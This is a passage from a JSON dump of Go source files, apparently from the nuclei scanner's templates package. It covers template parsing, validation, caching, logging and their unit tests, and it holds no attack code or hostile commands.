    "content": "package templates_test\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"log\"\n\tnetHttp \"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/julienschmidt/httprouter\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/disk\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/loader/workflow\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/matchers\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/progress\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/globalmatchers\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/variables\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/http\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/workflows\"\n\t\"github.com/projectdiscovery/ratelimit\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nvar executerOpts *protocols.ExecutorOptions\n\nfunc setup() {\n\toptions := testutils.DefaultOptions\n\ttestutils.Init(options)\n\tprogressImpl, _ := progress.NewStatsTicker(0, false, false, false, 0)\n\n\texecuterOpts = &protocols.ExecutorOptions{\n\t\tOutput:       testutils.NewMockOutputWriter(options.OmitTemplate),\n\t\tOptions:      options,\n\t\tProgress:     progressImpl,\n\t\tProjectFile:  nil,\n\t\tIssuesClient: nil,\n\t\tBrowser:      nil,\n\t\tCatalog:      disk.NewCatalog(config.DefaultConfig.TemplatesDirectory),\n\t\tRateLimiter:  ratelimit.New(context.Background(), uint(options.RateLimit), time.Second),\n\t\tParser:       templates.NewParser(),\n\t}\n\tworkflowLoader, err := workflow.NewLoader(executerOpts)\n\tif err != nil {\n\t\tlog.Fatalf(\"Could not create workflow loader: %s\\n\", err)\n\t}\n\texecuterOpts.WorkflowLoader = workflowLoader\n}\n\nfunc Test_ParseFromURL(t *testing.T) {\n\trouter := httprouter.New()\n\trouter.GET(\"/match-1.yaml\", func(w netHttp.ResponseWriter, r *netHttp.Request, _ httprouter.Params) {\n\t\tb, err := os.ReadFile(\"tests/match-1.yaml\")\n\t\tif err != nil {\n\t\t\tw.Write([]byte(err.Error())) // nolint: errcheck\n\t\t}\n\t\tw.Write(b) // nolint: errcheck\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\tvar expectedTemplate = &templates.Template{\n\t\tID: \"basic-get\",\n\t\tInfo: model.Info{\n\t\t\tName:           \"Basic GET Request\",\n\t\t\tAuthors:        stringslice.StringSlice{Value: []string{\"pdteam\"}},\n\t\t\tSeverityHolder: severity.Holder{Severity: severity.Info},\n\t\t},\n\t\tRequestsHTTP: []*http.Request{{\n\t\t\tOperators: operators.Operators{\n\t\t\t\tMatchers: []*matchers.Matcher{{\n\t\t\t\t\tType: matchers.MatcherTypeHolder{\n\t\t\t\t\t\tMatcherType: matchers.WordsMatcher,\n\t\t\t\t\t},\n\t\t\t\t\tWords: []string{\"This is test matcher text\"},\n\t\t\t\t}},\n\t\t\t},\n\t\t\tPath:       []string{\"{{BaseURL}}\"},\n\t\t\tAttackType: generators.AttackTypeHolder{},\n\t\t\tMethod: http.HTTPMethodTypeHolder{\n\t\t\t\tMethodType: http.HTTPGet,\n\t\t\t},\n\t\t}},\n\t\tTotalRequests: 1,\n\t\tExecuter:      nil,\n\t\tPath:          ts.URL + \"/match-1.yaml\",\n\t}\n\tsetup()\n\tgot, err := templates.Parse(ts.URL+\"/match-1.yaml\", nil, executerOpts)\n\trequire.Nilf(t, err, \"could not parse template (%s)\", fmt.Sprint(err))\n\trequire.Nil(t, err, \"could not parse template\")\n\trequire.Equal(t, expectedTemplate.ID, got.ID)\n\trequire.Equal(t, expectedTemplate.Info, got.Info)\n\trequire.Equal(t, expectedTemplate.TotalRequests, got.TotalRequests)\n\trequire.Equal(t, expectedTemplate.Path, got.Path)\n\trequire.Equal(t, expectedTemplate.RequestsHTTP[0].Path, got.RequestsHTTP[0].Path)\n\trequire.Equal(t, expectedTemplate.RequestsHTTP[0].Operators.Matchers[0].Words, got.RequestsHTTP[0].Operators.Matchers[0].Words)\n\trequire.Equal(t, len(expectedTemplate.RequestsHTTP), len(got.RequestsHTTP))\n}\n\nfunc Test_ParseFromFile(t *testing.T) {\n\tfilePath := \"tests/match-1.yaml\"\n\texpectedTemplate := &templates.Template{\n\t\tID: \"basic-get\",\n\t\tInfo: model.Info{\n\t\t\tName:           \"Basic GET Request\",\n\t\t\tAuthors:        stringslice.StringSlice{Value: []string{\"pdteam\"}},\n\t\t\tSeverityHolder: severity.Holder{Severity: severity.Info},\n\t\t},\n\t\tRequestsHTTP: []*http.Request{{\n\t\t\tOperators: operators.Operators{\n\t\t\t\tMatchers: []*matchers.Matcher{{\n\t\t\t\t\tType: matchers.MatcherTypeHolder{\n\t\t\t\t\t\tMatcherType: matchers.WordsMatcher,\n\t\t\t\t\t},\n\t\t\t\t\tWords: []string{\"This is test matcher text\"},\n\t\t\t\t}},\n\t\t\t},\n\t\t\tPath:       []string{\"{{BaseURL}}\"},\n\t\t\tAttackType: generators.AttackTypeHolder{},\n\t\t\tMethod: http.HTTPMethodTypeHolder{\n\t\t\t\tMethodType: http.HTTPGet,\n\t\t\t},\n\t\t}},\n\t\tTotalRequests: 1,\n\t\tExecuter:      nil,\n\t\tPath:          \"tests/match-1.yaml\",\n\t}\n\tsetup()\n\tgot, err := templates.Parse(filePath, nil, executerOpts)\n\trequire.Nil(t, err, \"could not parse template\")\n\trequire.Equal(t, expectedTemplate.ID, got.ID)\n\trequire.Equal(t, expectedTemplate.Info, got.Info)\n\trequire.Equal(t, expectedTemplate.TotalRequests, got.TotalRequests)\n\trequire.Equal(t, expectedTemplate.Path, got.Path)\n\trequire.Equal(t, expectedTemplate.RequestsHTTP[0].Path, got.RequestsHTTP[0].Path)\n\trequire.Equal(t, expectedTemplate.RequestsHTTP[0].Operators.Matchers[0].Words, got.RequestsHTTP[0].Operators.Matchers[0].Words)\n\trequire.Equal(t, len(expectedTemplate.RequestsHTTP), len(got.RequestsHTTP))\n\n\t// Test cache\n\tgot, err = templates.Parse(filePath, nil, executerOpts)\n\trequire.Nil(t, err, \"could not parse template\")\n\trequire.Equal(t, expectedTemplate.ID, got.ID)\n}\n\nfunc Test_ParseWorkflow(t *testing.T) {\n\tfilePath := \"tests/workflow.yaml\"\n\texpectedTemplate := &templates.Template{\n\t\tID: \"workflow-example\",\n\t\tInfo: model.Info{\n\t\t\tName:           \"Test Workflow Template\",\n\t\t\tAuthors:        stringslice.StringSlice{Value: []string{\"pdteam\"}},\n\t\t\tSeverityHolder: severity.Holder{Severity: severity.Info},\n\t\t},\n\t\tWorkflow: workflows.Workflow{\n\t\t\tWorkflows: []*workflows.WorkflowTemplate{{Template: \"tests/match-1.yaml\"}, {Template: \"tests/match-1.yaml\"}},\n\t\t\tOptions:   &protocols.ExecutorOptions{},\n\t\t},\n\t\tCompiledWorkflow: &workflows.Workflow{},\n\t\tSelfContained:    false,\n\t\tStopAtFirstMatch: false,\n\t\tSignature:        http.SignatureTypeHolder{},\n\t\tVariables:        variables.Variable{},\n\t\tTotalRequests:    0,\n\t\tExecuter:         nil,\n\t\tPath:             \"tests/workflow.yaml\",\n\t}\n\tsetup()\n\tgot, err := templates.Parse(filePath, nil, executerOpts)\n\trequire.Nil(t, err, \"could not parse template\")\n\trequire.Equal(t, expectedTemplate.ID, got.ID)\n\trequire.Equal(t, expectedTemplate.Info, got.Info)\n\trequire.Equal(t, expectedTemplate.TotalRequests, got.TotalRequests)\n\trequire.Equal(t, expectedTemplate.Path, got.Path)\n\trequire.Equal(t, expectedTemplate.Workflow.Workflows[0].Template, got.Workflow.Workflows[0].Template)\n\trequire.Equal(t, len(expectedTemplate.Workflows), len(got.Workflows))\n}\n\nfunc Test_ParseWorkflowWithGlobalMatchers(t *testing.T) {\n\tsetup()\n\tpreviousGlobalMatchers := executerOpts.Options.EnableGlobalMatchersTemplates\n\texecuterOpts.Options.EnableGlobalMatchersTemplates = true\n\tdefer func() {\n\t\texecuterOpts.Options.EnableGlobalMatchersTemplates = previousGlobalMatchers\n\t\texecuterOpts.GlobalMatchers = nil\n\t}()\n\texecuterOpts.GlobalMatchers = globalmatchers.New()\n\n\tfilePath := \"tests/workflow-global-matchers.yaml\"\n\tgot, err := templates.Parse(filePath, nil, executerOpts)\n\trequire.NoError(t, err, \"could not parse workflow template\")\n\trequire.NotNil(t, got, \"workflow template should not be nil\")\n\trequire.NotNil(t, got.CompiledWorkflow, \"compiled workflow should not be nil\")\n\trequire.Len(t, got.CompiledWorkflow.Workflows, 2)\n\trequire.Len(t, got.CompiledWorkflow.Workflows[0].Executers, 1)\n\trequire.Len(t, got.CompiledWorkflow.Workflows[1].Executers, 0)\n}\n\nfunc Test_WrongTemplate(t *testing.T) {\n\tsetup()\n\n\tfilePath := \"tests/no-author.yaml\"\n\tgot, err := templates.Parse(filePath, nil, executerOpts)\n\trequire.Nil(t, got, \"could not parse template\")\n\trequire.ErrorContains(t, err, \"no template author field provided\")\n\n\tfilePath = \"tests/no-req.yaml\"\n\tgot, err = templates.Parse(filePath, nil, executerOpts)\n\trequire.Nil(t, got, \"could not parse template\")\n\trequire.ErrorContains(t, err, \"no requests defined \")\n}\n\nfunc TestWrongWorkflow(t *testing.T) {\n\tsetup()\n\n\tfilePath := \"tests/workflow-invalid.yaml\"\n\tgot, err := templates.Parse(filePath, nil, executerOpts)\n\trequire.Nil(t, got, \"could not parse template\")\n\trequire.ErrorContains(t, err, \"workflows cannot have other protocols\")\n}\n"
  },
  {
    "path": "pkg/templates/doc.go",
    "content": "// Package templates contains the parser for a template for the engine.\npackage templates\n"
  },
  {
    "path": "pkg/templates/extensions/extensions.go",
    "content": "package extensions\n\nconst (\n\tJSON = \".json\"\n\tYAML = \".yaml\"\n\tYML  = \".yml\"\n)\n"
  },
  {
    "path": "pkg/templates/log.go",
    "content": "package templates\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\n\t\"github.com/logrusorgru/aurora\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n)\n\nvar (\n\tColorizer                       aurora.Aurora\n\tSeverityColorizer               func(severity.Severity) string\n\tdeprecatedProtocolNameTemplates = mapsutil.SyncLockMap[string, bool]{Map: mapsutil.Map[string, bool]{}} //templates that still use deprecated protocol names\n)\n\n// TemplateLogMessage returns a beautified log string for a template\nfunc TemplateLogMessage(id, name string, authors []string, templateSeverity severity.Severity) string {\n\tif Colorizer == nil || SeverityColorizer == nil {\n\t\treturn \"\"\n\t}\n\t// Display the message for the template\n\treturn fmt.Sprintf(\"[%s] %s (%s) [%s]\",\n\t\tColorizer.BrightBlue(id).String(),\n\t\tColorizer.Bold(name).String(),\n\t\tColorizer.BrightYellow(appendAtSignToAuthors(authors)).String(),\n\t\tSeverityColorizer(templateSeverity))\n}\n\n// appendAtSignToAuthors appends @ before each author and returns the final string\nfunc appendAtSignToAuthors(authors []string) string {\n\tif len(authors) == 0 {\n\t\treturn \"@none\"\n\t}\n\n\tvalues := make([]string, 0, len(authors))\n\tfor _, k := range authors {\n\t\tif !strings.HasPrefix(k, \"@\") {\n\t\t\tvalues = append(values, fmt.Sprintf(\"@%s\", k))\n\t\t} else {\n\t\t\tvalues = append(values, k)\n\t\t}\n\t}\n\treturn strings.Join(values, \",\")\n}\n\n// PrintDeprecatedProtocolNameMsgIfApplicable prints a message if deprecated protocol names are used\n// Unless mode is silent we print a message for deprecated protocol name\nfunc PrintDeprecatedProtocolNameMsgIfApplicable(isSilent bool, verbose bool) {\n\tcount := 0\n\t_ = deprecatedProtocolNameTemplates.Iterate(func(k string, v bool) error {\n\t\tcount++\n\t\treturn nil\n\t})\n\tif count > 0 && !isSilent {\n\t\tgologger.Print().Msgf(\"[%v] Found %v templates loaded with deprecated protocol syntax, update before v3 for continued support.\\n\", aurora.Yellow(\"WRN\").String(), count)\n\t}\n\tif config.DefaultConfig.LogAllEvents {\n\t\t_ = deprecatedProtocolNameTemplates.Iterate(func(k string, v bool) error {\n\t\t\tgologger.Print().Msgf(\"  - %s\\n\", k)\n\t\t\treturn nil\n\t\t})\n\t}\n\tdeprecatedProtocolNameTemplates.Lock()\n\tdeprecatedProtocolNameTemplates.Map = make(map[string]bool)\n\tdeprecatedProtocolNameTemplates.Unlock()\n}\n"
  },
  {
    "path": "pkg/templates/log_test.go",
    "content": "package templates\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc Test_appendAtSignToAuthors(t *testing.T) {\n\tresult := appendAtSignToAuthors([]string{\"user1\", \"user2\", \"user3\"})\n\trequire.Equal(t, result, \"@user1,@user2,@user3\")\n}\n\nfunc Test_appendAtSignToMissingAuthors(t *testing.T) {\n\tresult := appendAtSignToAuthors([]string{})\n\trequire.Equal(t, result, \"@none\")\n\n\tresult = appendAtSignToAuthors(nil)\n\trequire.Equal(t, result, \"@none\")\n}\n\nfunc Test_appendAtSignToOneAuthor(t *testing.T) {\n\tresult := appendAtSignToAuthors([]string{\"user1\"})\n\trequire.Equal(t, result, \"@user1\")\n}\n"
  },
  {
    "path": "pkg/templates/parser.go",
    "content": "package templates\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/stats\"\n\tyamlutil \"github.com/projectdiscovery/nuclei/v3/pkg/utils/yaml\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\tfileutil \"github.com/projectdiscovery/utils/file\"\n\n\t\"gopkg.in/yaml.v2\"\n)\n\ntype Parser struct {\n\tShouldValidate bool\n\tNoStrictSyntax bool\n\n\t// parsedTemplatesCache stores lightweight parsed template structures\n\t// (without raw bytes).\n\t// Used for validation and filtering. This cache can be copied safely\n\t// between ephemeral instances.\n\tparsedTemplatesCache *Cache\n\n\t// compiledTemplatesCache stores fully compiled templates with all protocol\n\t// requests.\n\t// This cache contains references to heap objects and should be purged when\n\t// no longer needed.\n\tcompiledTemplatesCache *Cache\n\n\tsync.Mutex\n}\n\nfunc NewParser() *Parser {\n\tp := &Parser{\n\t\tparsedTemplatesCache:   NewCache(),\n\t\tcompiledTemplatesCache: NewCache(),\n\t}\n\n\treturn p\n}\n\nfunc NewParserWithParsedCache(cache *Cache) *Parser {\n\treturn &Parser{\n\t\tparsedTemplatesCache:   cache,\n\t\tcompiledTemplatesCache: NewCache(),\n\t}\n}\n\n// Cache returns the parsed templates cache\nfunc (p *Parser) Cache() *Cache {\n\treturn p.parsedTemplatesCache\n}\n\n// CompiledCache returns the compiled templates cache\nfunc (p *Parser) CompiledCache() *Cache {\n\treturn p.compiledTemplatesCache\n}\n\nfunc (p *Parser) ParsedCount() int {\n\tp.Lock()\n\tdefer p.Unlock()\n\treturn len(p.parsedTemplatesCache.items.Map)\n}\n\nfunc (p *Parser) CompiledCount() int {\n\tp.Lock()\n\tdefer p.Unlock()\n\treturn len(p.compiledTemplatesCache.items.Map)\n}\n\nfunc checkOpenFileError(err error) bool {\n\tif err != nil && strings.Contains(err.Error(), \"too many open files\") {\n\t\tpanic(err)\n\t}\n\treturn false\n}\n\n// LoadTemplate returns true if the template is valid and matches the filtering criteria.\nfunc (p *Parser) LoadTemplate(templatePath string, t any, extraTags []string, catalog catalog.Catalog) (bool, error) {\n\ttagFilter, ok := t.(*TagFilter)\n\tif !ok {\n\t\tpanic(\"not a *TagFilter\")\n\t}\n\tt, templateParseError := p.ParseTemplate(templatePath, catalog)\n\tif templateParseError != nil {\n\t\tcheckOpenFileError(templateParseError)\n\t\treturn false, errkit.Newf(\"Could not load template %s: %s\", templatePath, templateParseError)\n\t}\n\ttemplate, ok := t.(*Template)\n\tif !ok {\n\t\tpanic(\"not a template\")\n\t}\n\n\tif len(template.Workflows) > 0 {\n\t\treturn false, nil\n\t}\n\n\tvalidationError := validateTemplateMandatoryFields(template)\n\tif validationError != nil {\n\t\tstats.Increment(SyntaxErrorStats)\n\t\treturn false, errkit.Newf(\"Could not load template %s: %s\", templatePath, validationError)\n\t}\n\n\tret, err := isTemplateInfoMetadataMatch(tagFilter, template, extraTags)\n\tif err != nil {\n\t\tcheckOpenFileError(err)\n\t\treturn ret, errkit.Newf(\"Could not load template %s: %s\", templatePath, err)\n\t}\n\t// if template loaded then check the template for optional fields to add warnings\n\tif ret {\n\t\tvalidationWarning := validateTemplateOptionalFields(template)\n\t\tif validationWarning != nil {\n\t\t\tstats.Increment(SyntaxWarningStats)\n\t\t\tcheckOpenFileError(validationWarning)\n\t\t\treturn ret, errkit.Newf(\"Could not load template %s: %s\", templatePath, validationWarning)\n\t\t}\n\t}\n\treturn ret, nil\n}\n\n// ParseTemplate parses a template and returns a *templates.Template structure\nfunc (p *Parser) ParseTemplate(templatePath string, catalog catalog.Catalog) (any, error) {\n\tvalue, _, err := p.parsedTemplatesCache.Has(templatePath)\n\tif value != nil {\n\t\treturn value, err\n\t}\n\n\treader, err := utils.ReaderFromPathOrURL(templatePath, catalog)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer func() {\n\t\t_ = reader.Close()\n\t}()\n\n\t// For local YAML files, check if preprocessing is needed\n\tvar data []byte\n\tif fileutil.FileExists(templatePath) && config.GetTemplateFormatFromExt(templatePath) == config.YAML {\n\t\tdata, err = io.ReadAll(reader)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tdata, err = yamlutil.PreProcess(data)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\ttemplate := &Template{}\n\n\tswitch config.GetTemplateFormatFromExt(templatePath) {\n\tcase config.JSON:\n\t\tif data == nil {\n\t\t\tdata, err = io.ReadAll(reader)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t\terr = json.Unmarshal(data, template)\n\tcase config.YAML:\n\t\tif data != nil {\n\t\t\t// Already read and preprocessed\n\t\t\tif p.NoStrictSyntax {\n\t\t\t\terr = yaml.Unmarshal(data, template)\n\t\t\t} else {\n\t\t\t\terr = yaml.UnmarshalStrict(data, template)\n\t\t\t}\n\t\t} else {\n\t\t\t// Stream directly from reader\n\t\t\tdecoder := yaml.NewDecoder(reader)\n\t\t\tif !p.NoStrictSyntax {\n\t\t\t\tdecoder.SetStrict(true)\n\t\t\t}\n\t\t\terr = decoder.Decode(template)\n\t\t}\n\tdefault:\n\t\terr = fmt.Errorf(\"failed to identify template format expected JSON or YAML but got %v\", templatePath)\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tp.parsedTemplatesCache.StoreWithoutRaw(templatePath, template, nil)\n\n\treturn template, nil\n}\n\n// LoadWorkflow returns true if the workflow is valid and matches the filtering criteria.\nfunc (p *Parser) LoadWorkflow(templatePath string, catalog catalog.Catalog) (bool, error) {\n\tt, templateParseError := p.ParseTemplate(templatePath, catalog)\n\tif templateParseError != nil {\n\t\treturn false, templateParseError\n\t}\n\n\ttemplate, ok := t.(*Template)\n\tif !ok {\n\t\tpanic(\"not a template\")\n\t}\n\n\tif len(template.Workflows) > 0 {\n\t\tif validationError := validateTemplateMandatoryFields(template); validationError != nil {\n\t\t\tstats.Increment(SyntaxErrorStats)\n\t\t\treturn false, validationError\n\t\t}\n\t\treturn true, nil\n\t}\n\n\treturn false, nil\n}\n"
  },
  {
    "path": "pkg/templates/parser_config.go",
    "content": "package templates\n\nimport \"regexp\"\n\nvar (\n\tReTemplateID = regexp.MustCompile(`^([a-zA-Z0-9]+[-_])*[a-zA-Z0-9]+$`)\n)\n"
  },
  {
    "path": "pkg/templates/parser_error.go",
    "content": "package templates\n\nimport (\n\t\"github.com/projectdiscovery/utils/errkit\"\n)\n\nvar (\n\tErrMandatoryFieldMissingFmt = errkit.New(\"mandatory field is missing\")\n\tErrInvalidField             = errkit.New(\"invalid field format\")\n\tErrWarningFieldMissing      = errkit.New(\"field is missing\")\n\tErrCouldNotLoadTemplate     = errkit.New(\"could not load template\")\n\tErrLoadedWithWarnings       = errkit.New(\"loaded template with syntax warning\")\n)\n"
  },
  {
    "path": "pkg/templates/parser_stats.go",
    "content": "package templates\n\nconst (\n\tSyntaxWarningStats           = \"syntax-warnings\"\n\tSyntaxErrorStats             = \"syntax-errors\"\n\tRuntimeWarningsStats         = \"runtime-warnings\"\n\tSkippedCodeTmplTamperedStats = \"unsigned-warnings\"\n\tExcludedHeadlessTmplStats    = \"headless-flag-missing-warnings\"\n\tTemplatesExcludedStats       = \"templates-executed\"\n\tExcludedCodeTmplStats        = \"code-flag-missing-warnings\"\n\tExcludedDastTmplStats        = \"fuzz-flag-missing-warnings\"\n\tSkippedUnsignedStats         = \"skipped-unsigned-stats\" // tracks loading of unsigned templates\n\tExcludedSelfContainedStats   = \"excluded-self-contained-stats\"\n\tExcludedFileStats            = \"excluded-file-stats\"\n\tSkippedRequestSignatureStats = \"skipped-request-signature-stats\"\n)\n\n// Deprecated: Use ExcludedDastTmplStats instead.\nconst ExludedDastTmplStats = ExcludedDastTmplStats\n"
  },
  {
    "path": "pkg/templates/parser_test.go",
    "content": "package templates\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/disk\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestLoadTemplate(t *testing.T) {\n\tcatalog := disk.NewCatalog(\"\")\n\tp := NewParser()\n\n\ttt := []struct {\n\t\tname        string\n\t\ttemplate    *Template\n\t\ttemplateErr error\n\t\tfilter      TagFilterConfig\n\n\t\texpectedErr error\n\t\tisValid     bool\n\t}{\n\t\t{\n\t\t\tname: \"valid\",\n\t\t\ttemplate: &Template{\n\t\t\t\tID: \"CVE-2021-27330\",\n\t\t\t\tInfo: model.Info{\n\t\t\t\t\tName:           \"Valid template\",\n\t\t\t\t\tAuthors:        stringslice.StringSlice{Value: \"Author\"},\n\t\t\t\t\tSeverityHolder: severity.Holder{Severity: severity.Medium},\n\t\t\t\t},\n\t\t\t},\n\t\t\tisValid: true,\n\t\t},\n\t\t{\n\t\t\tname:        \"emptyTemplate\",\n\t\t\ttemplate:    &Template{},\n\t\t\tisValid:     false,\n\t\t\texpectedErr: errors.New(\"cause=\\\"Could not load template emptyTemplate: cause=\\\\\\\"mandatory 'name' field is missing\\\\\\\"\\\\ncause=\\\\\\\"mandatory 'author' field is missing\\\\\\\"\\\\ncause=\\\\\\\"mandatory 'id' field is missing\\\\\\\"\\\"\"),\n\t\t},\n\t\t{\n\t\t\tname: \"emptyNameWithInvalidID\",\n\t\t\ttemplate: &Template{\n\t\t\t\tID: \"invalid id\",\n\t\t\t\tInfo: model.Info{\n\t\t\t\t\tAuthors:        stringslice.StringSlice{Value: \"Author\"},\n\t\t\t\t\tSeverityHolder: severity.Holder{Severity: severity.Medium},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpectedErr: errors.New(\"cause=\\\"Could not load template emptyNameWithInvalidID: cause=\\\\\\\"mandatory 'name' field is missing\\\\\\\"\\\\ncause=\\\\\\\"invalid field format for 'id' (allowed format is ^([a-zA-Z0-9]+[-_])*[a-zA-Z0-9]+$)\\\\\\\"\\\"\"),\n\t\t},\n\t\t{\n\t\t\tname: \"emptySeverity\",\n\t\t\ttemplate: &Template{\n\t\t\t\tID: \"CVE-2021-27330\",\n\t\t\t\tInfo: model.Info{\n\t\t\t\t\tName:    \"Valid template\",\n\t\t\t\t\tAuthors: stringslice.StringSlice{Value: \"Author\"},\n\t\t\t\t},\n\t\t\t},\n\t\t\tisValid:     true,\n\t\t\texpectedErr: errors.New(\"field 'severity' is missing\"),\n\t\t},\n\t\t{\n\t\t\tname: \"template-without-severity-with-correct-filter-id\",\n\t\t\ttemplate: &Template{\n\t\t\t\tID: \"CVE-2021-27330\",\n\t\t\t\tInfo: model.Info{\n\t\t\t\t\tName:    \"Valid template\",\n\t\t\t\t\tAuthors: stringslice.StringSlice{Value: \"Author\"},\n\t\t\t\t},\n\t\t\t},\n\t\t\t// should be error because the template is loaded\n\t\t\texpectedErr: errors.New(\"field 'severity' is missing\"),\n\t\t\tisValid:     true,\n\t\t\tfilter:      TagFilterConfig{IncludeIds: []string{\"CVE-2021-27330\"}},\n\t\t},\n\t\t{\n\t\t\tname: \"template-without-severity-with-diff-filter-id\",\n\t\t\ttemplate: &Template{\n\t\t\t\tID: \"CVE-2021-27330\",\n\t\t\t\tInfo: model.Info{\n\t\t\t\t\tName:    \"Valid template\",\n\t\t\t\t\tAuthors: stringslice.StringSlice{Value: \"Author\"},\n\t\t\t\t},\n\t\t\t},\n\t\t\tisValid: false,\n\t\t\tfilter:  TagFilterConfig{IncludeIds: []string{\"another-id\"}},\n\t\t\t// no error because the template is not loaded\n\t\t\texpectedErr: nil,\n\t\t},\n\t}\n\n\tfor _, tc := range tt {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tp.parsedTemplatesCache.Store(tc.name, tc.template, nil, tc.templateErr)\n\n\t\t\ttagFilter, err := NewTagFilter(&tc.filter)\n\t\t\trequire.Nil(t, err)\n\t\t\tsuccess, err := p.LoadTemplate(tc.name, tagFilter, nil, catalog)\n\t\t\tif tc.expectedErr == nil {\n\t\t\t\trequire.NoError(t, err)\n\t\t\t} else {\n\t\t\t\trequire.ErrorContains(t, err, tc.expectedErr.Error())\n\t\t\t}\n\t\t\trequire.Equal(t, tc.isValid, success)\n\t\t})\n\t}\n\n\tt.Run(\"invalidTemplateID\", func(t *testing.T) {\n\t\ttt := []struct {\n\t\t\tid      string\n\t\t\tsuccess bool\n\t\t}{\n\t\t\t{id: \"A-B-C\", success: true},\n\t\t\t{id: \"A-B-C-1\", success: true},\n\t\t\t{id: \"CVE_2021_27330\", success: true},\n\t\t\t{id: \"ABC DEF\", success: false},\n\t\t\t{id: \"_-__AAA_\", success: false},\n\t\t\t{id: \" CVE-2021-27330\", success: false},\n\t\t\t{id: \"CVE-2021-27330 \", success: false},\n\t\t\t{id: \"CVE-2021-27330-\", success: false},\n\t\t\t{id: \"-CVE-2021-27330-\", success: false},\n\t\t\t{id: \"CVE-2021--27330\", success: false},\n\t\t\t{id: \"CVE-2021+27330\", success: false},\n\t\t}\n\t\tfor i, tc := range tt {\n\t\t\tname := fmt.Sprintf(\"regexp%d\", i)\n\t\t\tt.Run(name, func(t *testing.T) {\n\t\t\t\ttemplate := &Template{\n\t\t\t\t\tID: tc.id,\n\t\t\t\t\tInfo: model.Info{\n\t\t\t\t\t\tName:           \"Valid template\",\n\t\t\t\t\t\tAuthors:        stringslice.StringSlice{Value: \"Author\"},\n\t\t\t\t\t\tSeverityHolder: severity.Holder{Severity: severity.Medium},\n\t\t\t\t\t},\n\t\t\t\t}\n\t\t\t\tp.parsedTemplatesCache.Store(name, template, nil, nil)\n\n\t\t\t\ttagFilter, err := NewTagFilter(&TagFilterConfig{})\n\t\t\t\trequire.Nil(t, err)\n\t\t\t\tsuccess, err := p.LoadTemplate(name, tagFilter, nil, catalog)\n\t\t\t\tif tc.success {\n\t\t\t\t\trequire.NoError(t, err)\n\t\t\t\t\trequire.True(t, success)\n\t\t\t\t} else {\n\t\t\t\t\trequire.ErrorContains(t, err, \"invalid field format for 'id' (allowed format is ^([a-zA-Z0-9]+[-_])*[a-zA-Z0-9]+$)\")\n\t\t\t\t\trequire.False(t, success)\n\t\t\t\t}\n\t\t\t})\n\t\t}\n\t})\n}\n"
  },
  {
    "path": "pkg/templates/parser_validate.go",
    "content": "package templates\n\nimport (\n\t\"errors\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n)\n\n// validateTemplateMandatoryFields validates the mandatory fields of a template\n// return error from this function will cause hard fail and not proceed further\nfunc validateTemplateMandatoryFields(template *Template) error {\n\tinfo := template.Info\n\n\tvar validateErrors []error\n\n\tif utils.IsBlank(info.Name) {\n\t\tvalidateErrors = append(validateErrors, errkit.Newf(\"mandatory '%s' field is missing\", \"name\"))\n\t}\n\n\tif info.Authors.IsEmpty() {\n\t\tvalidateErrors = append(validateErrors, errkit.Newf(\"mandatory '%s' field is missing\", \"author\"))\n\t}\n\n\tif template.ID == \"\" {\n\t\tvalidateErrors = append(validateErrors, errkit.Newf(\"mandatory '%s' field is 